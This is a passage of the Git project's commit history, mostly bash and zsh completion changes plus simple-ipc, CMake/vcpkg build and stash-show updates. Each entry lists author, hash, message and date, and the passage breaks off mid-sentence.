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3317 commits

Author SHA1 Message Date
Ævar Arnfjörð Bjarmason 3994ae510e bash completion: complete CHERRY_PICK_HEAD
When e.g. in a failed cherry pick we did not recognize
CHERRY_PICK_HEAD as we do e.g. REBASE_HEAD in a failed rebase let's
rectify that.

When REBASE_HEAD was added in fbd7a23237 (rebase: introduce and use
pseudo-ref REBASE_HEAD, 2018-02-11) a completion was added for it, but
no corresponding completion existed for CHERRY_PICK_HEAD added in
d7e5c0cbfb (Introduce CHERRY_PICK_HEAD, 2011-02-19).

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2021-04-07 15:14:51 -07:00
Junio C Hamano 861794b60d Merge branch 'jh/simple-ipc'
A simple IPC interface gets introduced to build services like
fsmonitor on top.

* jh/simple-ipc:
  t0052: add simple-ipc tests and t/helper/test-simple-ipc tool
  simple-ipc: add Unix domain socket implementation
  unix-stream-server: create unix domain socket under lock
  unix-socket: disallow chdir() when creating unix domain sockets
  unix-socket: add backlog size option to unix_stream_listen()
  unix-socket: eliminate static unix_stream_socket() helper function
  simple-ipc: add win32 implementation
  simple-ipc: design documentation for new IPC mechanism
  pkt-line: add options argument to read_packetized_to_strbuf()
  pkt-line: add PACKET_READ_GENTLE_ON_READ_ERROR option
  pkt-line: do not issue flush packets in write_packetized_*()
  pkt-line: eliminate the need for static buffer in packet_write_gently()
2021-04-02 14:43:14 -07:00
Dennis Ameling 958a5f5dfe cmake(install): include vcpkg dlls
Our CMake configuration generates not only build definitions, but also
install definitions: After building Git using `msbuild git.sln`, the
built artifacts can be installed via `msbuild INSTALL.vcxproj`.

To specify _where_ the files should be installed, the
`-DCMAKE_INSTALL_PREFIX=<path>` option can be used when running CMake.

However, this process would really only install the files that were just
built. On Windows, we need more than that: We also need the `.dll` files
of the dependencies (such as libcurl). The `vcpkg` ecosystem, which we
use to obtain those dependencies, can be asked to install said `.dll`
files really easily, so let's do that.

This requires more than just the built `vcpkg` artifacts in the CI build
definition; We now clone the `vcpkg` repository so that the relevant
CMake scripts are available, in particular the ones related to defining
the toolchain.

Signed-off-by: Dennis Ameling <dennis@dennisameling.com>
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2021-03-29 13:49:04 -07:00
Johannes Schindelin e8772a7af5 cmake: add a preparatory work-around to accommodate vcpkg
We are about to add support for installing the `.dll` files of Git's
dependencies (such as libcurl) in the CMake configuration. The `vcpkg`
ecosystem from which we get said dependencies makes that relatively
easy: simply turn on `X_VCPKG_APPLOCAL_DEPS_INSTALL`.

However, current `vcpkg` introduces a limitation if one does that:
While it is totally cool with CMake to specify multiple targets within
one invocation of `install(TARGETS ...) (at least according to
https://cmake.org/cmake/help/latest/command/install.html#command:install),
`vcpkg`'s parser insists on a single target per `install(TARGETS ...)`
invocation.

Well, that's easily accomplished: Let's feed the targets individually to
the `install(TARGETS ...)` function in a `foreach()` look.

This also has the advantage that we do not have to manually cull off the
two entries from the `${PROGRAMS_BUILT}` array before scheduling the
remainder to be installed into `libexec/git-core`. Instead, we iterate
through the array and decide for each entry where it wants to go.

Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2021-03-29 13:49:04 -07:00
Dennis Ameling 569f8d188f cmake(install): fix double .exe suffixes
By mistake, the `.exe` extension is appended _twice_ when installing the
dashed executables into `libexec/git-core/` on Windows (the extension is
already appended when adding items to the `git_links` list in the
`#Creating hardlinks` section).

Signed-off-by: Dennis Ameling <dennis@dennisameling.com>
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2021-03-27 18:02:23 -07:00
Johannes Schindelin 7bb544a4d1 cmake: support SKIP_DASHED_BUILT_INS
Just like the Makefile-based build learned to skip hard-linking the
dashed built-ins in 179227d6e2 (Optionally skip linking/copying the
built-ins, 2020-09-21), this patch teaches the CMake-based build the
same trick.

Note: In contrast to the Makefile-based process, the built-ins would
only be linked during installation, not already when Git is built.
Therefore, the CMake-based build that we use in our CI builds _already_
does not link those built-ins (because the files are not installed
anywhere, they are used to run the test suite in-place).

Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2021-03-27 18:02:23 -07:00
Denton Liu 6131807864 git-completion.bash: use __gitcomp_builtin() in _git_stash()
The completion for 'git stash' has not changed in a major way since it
was converted from shell script to builtin. Now that it's a builtin, we
can take advantage of the groundwork laid out by parse-options and use
the generated options.

Rewrite _git_stash() to take use __gitcomp_builtin() to generate
completions for subcommands.

The main `git stash` command does not take any arguments directly. If no
subcommand is given, it automatically defaults to `git stash push`. This
means that we can simplify the logic for when no subcommands have been
given yet. We only have to offer subcommand completions when we're
completing a non-option after "stash".

One area that this patch could improve upon is that the `git stash list`
command accepts log-options. It would be nice if the completion for this
were unified with that of _git_log() and _git_show() which would allow
completions to be provided for options such as `--pretty` but that is
outside the scope of this patch.

Signed-off-by: Denton Liu <liu.denton@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2021-03-24 10:05:47 -07:00
Denton Liu 42b30bcbb7 git-completion.bash: extract from else in _git_stash()
To save a level of indentation, perform an early return in the "if" arm
so we can move the "else" code out of the block.

Signed-off-by: Denton Liu <liu.denton@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2021-03-24 10:05:47 -07:00
Denton Liu e94fb44042 git-completion.bash: pass $__git_subcommand_idx from __git_main()
Many completion functions perform hardcoded comparisons with $cword.
This fails in the case where the main git command is given arguments
(e.g. `git -C . bundle<TAB>` would fail to complete its subcommands).

Even _git_worktree(), which uses __git_find_on_cmdline(), could still
fail. With something like `git -C add worktree move<TAB>`, the
subcommand would be incorrectly identified as "add" instead of "move".

Assign $__git_subcommand_idx in __git_main(), where the git subcommand
is actually found and the corresponding completion function is called.
Use this variable to replace hardcoded comparisons with $cword.

Signed-off-by: Denton Liu <liu.denton@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2021-03-24 10:05:47 -07:00
Junio C Hamano f5c73f69fd Merge branch 'dl/stash-show-untracked'
"git stash show" learned to optionally show untracked part of the
stash.

* dl/stash-show-untracked:
  stash show: learn stash.showIncludeUntracked
  stash show: teach --include-untracked and --only-untracked
2021-03-22 14:00:24 -07:00
Jeff Hostetler 7cd5dbcaba simple-ipc: add Unix domain socket implementation
Create Unix domain socket based implementation of "simple-ipc".

A set of `ipc_client` routines implement a client library to connect
to an `ipc_server` over a Unix domain socket, send a simple request,
and receive a single response.  Clients use blocking IO on the socket.

A set of `ipc_server` routines implement a thread pool to listen for
and concurrently service client connections.

The server creates a new Unix domain socket at a known location.  If a
socket already exists with that name, the server tries to determine if
another server is already listening on the socket or if the socket is
dead.  If socket is busy, the server exits with an error rather than
stealing the socket.  If the socket is dead, the server creates a new
one and starts up.

If while running, the server detects that its socket has been stolen
by another server, it automatically exits.

Signed-off-by: Jeff Hostetler <jeffhost@microsoft.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2021-03-22 11:52:54 -07:00
Junio C Hamano bfcc6e2a68 Merge branch 'rs/xcalloc-takes-nelem-first'
Code cleanup.

* rs/xcalloc-takes-nelem-first:
  fix xcalloc() argument order
2021-03-19 15:25:39 -07:00
Junio C Hamano 1c57cc70ec cocci: allow xcalloc(1, size)
Allocating a pre-cleared single element is quite common and it is
misleading to use CALLOC_ARRAY(); these allocations that would be
affected without this change are not allocating an array.

Signed-off-by: Junio C Hamano <gitster@pobox.com>
2021-03-15 17:56:07 -07:00
Jeff Hostetler 9fd1902762 unix-stream-server: create unix domain socket under lock
Create a wrapper class for `unix_stream_listen()` that uses a ".lock"
lockfile to create the unix domain socket in a race-free manner.

Unix domain sockets have a fundamental problem on Unix systems because
they persist in the filesystem until they are deleted.  This is
independent of whether a server is actually listening for connections.
Well-behaved servers are expected to delete the socket when they
shutdown.  A new server cannot easily tell if a found socket is
attached to an active server or is leftover cruft from a dead server.
The traditional solution used by `unix_stream_listen()` is to force
delete the socket pathname and then create a new socket.  This solves
the latter (cruft) problem, but in the case of the former, it orphans
the existing server (by stealing the pathname associated with the
socket it is listening on).

We cannot directly use a .lock lockfile to create the socket because
the socket is created by `bind(2)` rather than the `open(2)` mechanism
used by `tempfile.c`.

As an alternative, we hold a plain lockfile ("<path>.lock") as a
mutual exclusion device.  Under the lock, we test if an existing
socket ("<path>") is has an active server.  If not, we create a new
socket and begin listening.  Then we use "rollback" to delete the
lockfile in all cases.

This wrapper code conceptually exists at a higher-level than the core
unix_stream_connect() and unix_stream_listen() routines that it
consumes.  It is isolated in a wrapper class for clarity.

Signed-off-by: Jeff Hostetler <jeffhost@microsoft.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2021-03-15 14:32:51 -07:00
Jeff Hostetler 59c7b88198 simple-ipc: add win32 implementation
Create Windows implementation of "simple-ipc" using named pipes.

Signed-off-by: Jeff Hostetler <jeffhost@microsoft.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2021-03-15 14:32:50 -07:00
René Scharfe ca56dadb4b use CALLOC_ARRAY
Add and apply a semantic patch for converting code that open-codes
CALLOC_ARRAY to use it instead.  It shortens the code and infers the
element size automatically.

Signed-off-by: René Scharfe <l.s.r@web.de>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2021-03-13 16:00:09 -08:00
René Scharfe 241b5d3ebe fix xcalloc() argument order
Pass the number of elements first and ther size second, as expected
by xcalloc().  Provide a semantic patch, which was actually used to
generate the rest of this patch.

The semantic patch would generate flip-flop diffs if both arguments
are sizeofs.  We don't have such a case, and it's hard to imagine
the usefulness of such an allocation.  If it ever occurs then we
could deal with it by duplicating the rule in the semantic patch to
make it cancel itself out, or we could change the code to use
CALLOC_ARRAY.

Signed-off-by: René Scharfe <l.s.r@web.de>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2021-03-08 09:45:04 -08:00
Denton Liu d3c7bf73bd stash show: teach --include-untracked and --only-untracked
Stash entries can be made with untracked files via
`git stash push --include-untracked`. However, because the untracked
files are stored in the third parent of the stash entry and not the
stash entry itself, running `git stash show` does not include the
untracked files as part of the diff.

With --include-untracked, untracked paths, which are recorded in the
third-parent if it exists, are shown in addition to the paths that have
modifications between the stash base and the working tree in the stash.

It is possible to manually craft a malformed stash entry where duplicate
untracked files in the stash entry will mask tracked files. We detect
and error out in that case via a custom unpack_trees() callback:
stash_worktree_untracked_merge().

Also, teach stash the --only-untracked option which only shows the
untracked files of a stash entry. This is similar to `git show stash^3`
but it is nice to provide a convenient abstraction for it so that users
do not have to think about the underlying implementation.

Signed-off-by: Denton Liu <liu.denton@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2021-03-05 14:31:26 -08:00
Junio C Hamano 006c5f79be Merge branch 'jk/complete-branch-force-delete'
The command line completion (in contrib/) completed "git branch -d"
with branch names, but "git branch -D" offered tagnames in addition,
which has been corrected.  "git branch -M" had the same problem.

* jk/complete-branch-force-delete:
  doc/git-branch: fix awkward wording for "-c"
  completion: handle other variants of "branch -m"
  completion: treat "branch -D" the same way as "branch -d"
2021-02-12 14:21:04 -08:00
Jeff King bca362c1f9 completion: handle other variants of "branch -m"
We didn't special-case "branch -M" (with a capital M) the same as
"branch -m", nor any of the "--copy" variants. As a result these offered
any ref as the next candidate, and not just branch names.

Note that I rewrapped case-arm line since it's now quite long, and
likewise the one below it for consistency. I also re-ordered the
existing "-D" to make it more obvious how the cases group together.

Signed-off-by: Jeff King <peff@peff.net>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2021-02-03 14:14:24 -08:00
Jeff King a534cf4f4d completion: treat "branch -D" the same way as "branch -d"
The former offers not just branches but tags as completion
candidates.

Mimic how "branch -d" limits its suggestion to branch names.

Reported-by: Paul Jolly <paul@myitcv.io>
Signed-off-by: Jeff King <peff@peff.net>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2021-02-02 13:26:10 -08:00
Ævar Arnfjörð Bjarmason 7599730b7e Remove support for v1 of the PCRE library
Remove support for using version 1 of the PCRE library. Its use has
been discouraged by upstream for a long time, and it's in a
bugfix-only state.

Anyone who was relying on v1 in particular got a nudge to move to v2
in e6c531b808 (Makefile: make USE_LIBPCRE=YesPlease mean v2, not v1,
2018-03-11), which was first released as part of v2.18.0.

With this the LIBPCRE2 test prerequisites is redundant to PCRE. But
I'm keeping it for self-documentation purposes, and to avoid conflict
with other in-flight PCRE patches.

I'm also not changing all of our own "pcre2" names to "pcre", i.e. the
inverse of 6d4b5747f0 (grep: change internal *pcre* variable &
function names to be *pcre1*, 2017-05-25). I don't see the point, and
it makes the history/blame harder to read. Maybe if there's ever a
PCRE v3...

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2021-01-23 21:15:43 -08:00
Felipe Contreras 5a067ba9d0 completion: add proper public __git_complete
When __git_complete was introduced, it was meant to be temporarily, while
a proper guideline for public shell functions was established
(tentatively _GIT_complete), but since that never happened, people
in the wild started to use __git_complete, even though it was marked as
not public.

Eight years is more than enough wait, let's mark this function as
public, and make it a bit more user-friendly.

So that instead of doing:

  __git_complete gk __gitk_main

The user can do:

  __git_complete gk gitk

And instead of:

  __git_complete gf _git_fetch

Do:

  __git_complete gf git_fetch

Backwards compatibility is maintained.

Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2021-01-04 15:25:56 -08:00
Felipe Contreras 810df0ea8e completion: bash: improve function detection
1. We should quote the argument
 2. We don't need two redirections
 3. A safeguard for arguments (-a) would be good

Suggested-by: René Scharfe <l.s.r@web.de>
Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2021-01-04 15:25:56 -08:00
Felipe Contreras 7f94b78dda completion: bash: add __git_have_func helper
This makes the code more readable, and also will help when new code
wants to do similar checks.

Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2021-01-04 15:25:56 -08:00
Junio C Hamano 043bfc62e3 Merge branch 'js/cmake-extra-built-ins-fix'
VSbuild fix.

* js/cmake-extra-built-ins-fix:
  cmake: determine list of extra built-ins dynamically
2020-12-14 10:21:38 -08:00
Junio C Hamano ccbde2c4f4 Merge branch 'da/vs-build-iconv-fix'
Build update.

* da/vs-build-iconv-fix:
  ci(vs-build): stop passing the iconv library location explicitly
2020-12-14 10:21:38 -08:00
Junio C Hamano 7d92da3787 Merge branch 'fc/zsh-completion'
Hotfix for a recent breakage.

* fc/zsh-completion:
  completion: bash: fix gitk alias regression
  completion: zsh: fix file completion regression
2020-12-08 15:11:22 -08:00
Felipe Contreras 076496457e completion: bash: fix gitk alias regression
Long time ago when the _git_complete helper was introduced, _gitk was
replaced with __gitk_main, and a placeholder for backwards compatibility
pointing to __git_wrap_main_gitk was left in place.

When "__git_complete gitk __gitk_main" was called, that created the
__git_wrap__gitk_main helper, which is just basically "__git_func_wrap
__gitk_main" plus `complete` options.

Unfortunately the commit b0a4b2d257 (completion: add support for
backwards compatibility, 2012-05-19) missed a previous instance of a
call to _gitk in _git_gitk

So, basically we had __git_wrap__git_main -> __git_func_wrap __git_main ->
__git_complete_command gitk -> _git_gitk -> _gitk ->
__git_wrap__gitk_main -> __git_func_wrap __gitk_main -> __gitk_main.

There was never any need to call __git_func_wrap twice. Since _git_gitk
is always called inside the wrapper, it can call __gitk_main directly.

And then, in commit 441ecdab37 (completion: bash: remove old compat
wrappers, 2020-10-27) _gitk was removed, which triggers the following
error:

  _git_gitk:9: command not found: _gitk

Let's call the correct function: __gitk_main.

Cc: SZEDER Gábor <szeder.dev@gmail.com>
Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-12-07 13:39:53 -08:00
Johannes Schindelin 7fe07275be cmake: determine list of extra built-ins dynamically
In 0a21d0e089 (Makefile: mark git-maintenance as a builtin,
2020-12-01), we marked git-maintenance as a builtin in the Makefile, but
forgot to do the same in `CMakeLists.txt`.

Rather than always play catch-up and adjust `git_builtin_extra`
manually, use the `BUILT_INS` definitions in the Makefile as
authoritative source and generate `git_builtin_extra` dynamically.

Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-12-04 12:11:07 -08:00
Dennis Ameling e66590348a ci(vs-build): stop passing the iconv library location explicitly
Something changed in `vcpkg` (which we use in our Visual C++ build to
provide the dependencies such as libcurl) and our `vs-build` job started
failing in CI. The reason is that we had a work-around in place to help
CMake find iconv, and this work-around is neither needed nor does it
work anymore.

For the full discussion with the vcpkg project, see this comment:
https://github.com/microsoft/vcpkg/issues/14780#issuecomment-735368280

Signed-off-by: Dennis Ameling <dennis@dennisameling.com>
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-12-04 12:03:15 -08:00
Felipe Contreras c5dd0c861a completion: zsh: fix file completion regression
Turns out we always need to set the ignored prefix (compset) to have
similar behavior as in default Bash.

The issue can be seen with:

  git show master:<tab>

Commit 94b2901cfe wrongly removed it.

Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-12-01 10:32:40 -08:00
Junio C Hamano fd6445a0b8 Merge branch 'fc/bash-completion-alias-of-alias'
The command line completion script (in contrib/) learned to expand
commands that are alias of alias.

* fc/bash-completion-alias-of-alias:
  completion: bash: improve alias loop detection
  completion: bash: check for alias loop
  completion: bash: support recursive aliases
2020-11-25 15:24:51 -08:00
Felipe Contreras e4c75edb52 completion: bash: improve alias loop detection
It is possible for the name of an alias to end with the name of another
alias, in which case the code will incorrectly detect a loop.

We can fix that by adding an extra space between words.

Suggested-by: SZEDER Gábor <szeder.dev@gmail.com>
Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-11-17 10:57:46 -08:00
Junio C Hamano fb628ab129 Merge branch 'sd/prompt-local-variable'
Code clean-up.

* sd/prompt-local-variable:
  git-prompt.sh: localize `option` in __git_ps1_show_upstream
2020-11-11 13:18:38 -08:00
Felipe Contreras c2822a842d completion: bash: check for alias loop
We don't want to be stuck in an endless cycle.

Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-11-09 18:09:21 -08:00
Felipe Contreras 9414938c34 completion: bash: support recursive aliases
It is possible to have recursive aliases like:

  l = log --oneline
  lg = l --graph

So the completion should detect such aliases as well.

Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-11-09 18:09:21 -08:00
Junio C Hamano 4560eae44f Merge branch 'fc/zsh-completion'
Zsh autocompletion (in contrib/) update.

* fc/zsh-completion: (29 commits)
  zsh: update copyright notices
  completion: bash: remove old compat wrappers
  completion: bash: cleanup cygwin check
  completion: bash: trivial cleanup
  completion: zsh: add simple version check
  completion: zsh: trivial simplification
  completion: zsh: add alias descriptions
  completion: zsh: improve command tags
  completion: zsh: refactor command completion
  completion: zsh: shuffle functions around
  completion: zsh: simplify file_direct
  completion: zsh: simplify nl_append
  completion: zsh: trivial cleanup
  completion: zsh: simplify direct compadd
  completion: zsh: simplify compadd functions
  completion: zsh: fix splitting of words
  completion: zsh: add missing direct_append
  completion: fix conflict with bashcomp
  completion: zsh: fix completion for --no-.. options
  completion: bash: remove zsh wrapper
  ...
2020-11-09 14:06:29 -08:00
Junio C Hamano bbdbe08bd7 Merge branch 'lo/zsh-completion'
Update instructions for command line completion (in contrib/) for zsh.

* lo/zsh-completion:
  completion: fix zsh installation instructions
2020-11-02 13:17:40 -08:00
Junio C Hamano b6fb70c985 Merge branch 'dl/diff-merge-base'
"git diff A...B" learned "git diff --merge-base A B", which is a
longer short-hand to say the same thing.

* dl/diff-merge-base:
  contrib/completion: complete `git diff --merge-base`
  builtin/diff-tree: learn --merge-base
  builtin/diff-index: learn --merge-base
  t4068: add --merge-base tests
  diff-lib: define diff_get_merge_base()
  diff-lib: accept option flags in run_diff_index()
  contrib/completion: extract common diff/difftool options
  git-diff.txt: backtick quote command text
  git-diff-index.txt: make --cached description a proper sentence
  t4068: remove unnecessary >tmp
2020-11-02 13:17:39 -08:00
Sibo Dong 9542d56379 git-prompt.sh: localize option in __git_ps1_show_upstream
The variable 'option' is used in __git_ps1_show_upstream()
without being localized.

This clobbers the variable the user may be using for other
purposes, which is bad.  Luckily, $option is not used to carry
information around in the script as a global variable.  The use
of it in this script has very limited scope (namely, only inside
this function), so just declare that it is "local".

Signed-off-by: Sibo Dong <sibo.dong@outlook.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-11-01 16:22:11 -08:00
Junio C Hamano f9c0e741a9 Merge branch 'dl/resurrect-update-for-sha256'
"git resurrect" script (in contrib/) learned that the object names
may be longer than 40-hex depending on the hash function in use.

* dl/resurrect-update-for-sha256:
  contrib/git-resurrect.sh: use hash-agnostic OID pattern
  contrib/git-resurrect.sh: indent with tabs
2020-10-30 13:04:24 -07:00
Felipe Contreras af806a2c24 zsh: update copyright notices
Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28 14:31:19 -07:00
Felipe Contreras 441ecdab37 completion: bash: remove old compat wrappers
It's been eight years, more than enough time to move on.

Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28 14:30:59 -07:00
Felipe Contreras 8030684beb completion: bash: cleanup cygwin check
Avoid Yoda conditions, and use $OSTYPE.

Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28 14:30:59 -07:00
Felipe Contreras 5a364d2a18 completion: bash: trivial cleanup
There's no need to set a variable we are not going to use.

Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28 14:30:59 -07:00
Felipe Contreras 35a4170d86 completion: zsh: add simple version check
A lot of people are confused about which completion script they are
using; Zsh's Git script, or Git's Zsh script.

Add a simple helper so they can type 'git zsh<tab>' and find out if they
are running the correct one: this.

Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28 14:30:59 -07:00
Felipe Contreras bbd7f45884 completion: zsh: trivial simplification
>From upstream bash simplification:

  d9ee1e0617 (completion: simplify inner 'case' pattern in __gitcomp())

Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28 14:30:59 -07:00
Felipe Contreras 2769e567d1 completion: zsh: add alias descriptions
Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28 14:30:59 -07:00
Felipe Contreras 9d760527ad completion: zsh: improve command tags
There's no need to use _alternative and repeat a lot of the code.

Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28 14:30:59 -07:00
Felipe Contreras 9a397ea5ad completion: zsh: refactor command completion
Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28 14:30:59 -07:00
Felipe Contreras 46af9b3719 completion: zsh: shuffle functions around
Just to have a nice order.

Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28 14:30:59 -07:00
Felipe Contreras 5d64fb2051 completion: zsh: simplify file_direct
It's exactly the same as __gitcomp_file() with no prefix.

Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28 14:30:59 -07:00
Felipe Contreras cf6ce01660 completion: zsh: simplify nl_append
It's exactly the same as __gitcomp_nl(), no need to duplicate code.

Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28 14:30:59 -07:00
Felipe Contreras 35e29fbce6 completion: zsh: trivial cleanup
Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28 14:30:59 -07:00
Felipe Contreras ecaf798999 completion: zsh: simplify direct compadd
Instead of manually removing the suffix so zsh can add its own, we can
tell zsh to add no suffix, so we don't have to remove it.

Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28 14:30:59 -07:00
Felipe Contreras 2f459b0060 completion: zsh: simplify compadd functions
We don't need to override IFS, zsh has a native way of splitting by new
lines: the expansion flag (f).

Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28 14:30:59 -07:00
Felipe Contreras 94b2901cfe completion: zsh: fix splitting of words
Files don't need to be split by '=:', words do.

Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28 14:30:59 -07:00
Felipe Contreras a7804a11c1 completion: zsh: add missing direct_append
Commit 688077910b forgot to add the corresponding zsh function.

Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28 14:30:59 -07:00
Felipe Contreras 3791968bfe completion: fix conflict with bashcomp
We don't want to override the 'complete()' function in zsh, which can be
used by bashcomp.

Reported-by: Mark Lodato <lodato@google.com>
Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28 14:30:59 -07:00
Felipe Contreras aa1f1f8010 completion: zsh: fix completion for --no-.. options
This was introduced in upstream's bash script, but never in zsh's:

  b221b5ab9b (completion: collapse extra --no-.. options)

It has been failing since v2.19.

Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28 14:30:59 -07:00
Felipe Contreras 162f1a5610 completion: bash: remove zsh wrapper
It has been deprecated for more than eight years now, it's never up to
date, and it's a hassle to maintain.

It's time to move on.

Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28 14:30:59 -07:00
Felipe Contreras bed635664c completion: bash: synchronize zsh wrapper
A function was missing.

Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28 14:30:59 -07:00
Felipe Contreras 81f717bb26 completion: zsh: fix for command aliasing
A lot of people want to define aliases like gc='git commit', and zsh
allows that (when not using 'complete_aliases'), but we need to handle
services that call a function other than the main one.

With this patch we can do:

  compdef _git gc=git_commit

Additionally, add compatibility for Zsh Git functions which have the
form git-commit (with dash, not underscore).

Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28 14:30:59 -07:00
Felipe Contreras ea625a39fe completion: prompt: fix color for Zsh
We don't need PROMPT_COMMAND in Zsh; we are already using %F{color} %f,
which in turn use %{ and %}, which are the equivalent of Bash's
\[ and \].

We can use as many colors as we want and output directly into PS1
(or RPS1) without the risk of buffer wrapping issues.

Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28 14:30:59 -07:00
Felipe Contreras 98fc2684a9 completion: zsh: update slave script locations
Update the default locations of typical system bash-completion,
including the default bash-completion location for user scripts, and the
recommended way to find the system location (with pkg-config).

Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-28 14:30:59 -07:00
Junio C Hamano 0e41cfad62 Merge branch 'dl/checkout-guess'
"git checkout" learned to use checkout.guess configuration variable
and enable/disable its "--[no-]guess" option accordingly.

* dl/checkout-guess:
  checkout: learn to respect checkout.guess
  Documentation/config/checkout: replace sq with backticks
2020-10-27 15:09:51 -07:00
Felipe Contreras 44b37abb2a completion: zsh: fix for directories with spaces
Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-26 15:23:26 -07:00
Felipe Contreras cb9dcbdbe4 completion: zsh: reorganize install instructions
Start with the most important thing; the proper location of this script,
then follow with the location of the slave script (git-completion.bash).

Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-26 15:23:26 -07:00
Felipe Contreras 2c7cdc5573 completion: zsh: fix bash script extension
Commit 0e5ed7cca3 wrongly changed the extension of the bash script
to .zsh; the zstyle configuration is for the slave script (bash), not
the master one (zsh).

For example it could be:

  zstyle ':completion:*:*:git:*' script ~/.git-completion.bash

The extension doesn't really matter, but it confuses people into
thinking it's a zsh script; it's not.

Cc: Peter van der Does <peter@avirtualhome.com>
Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-26 15:23:26 -07:00
Felipe Contreras 5eb25bcf0f completion: zsh: fix name due to broken autoloading
Commit 176f5adfdb wrongly changed the installation path to
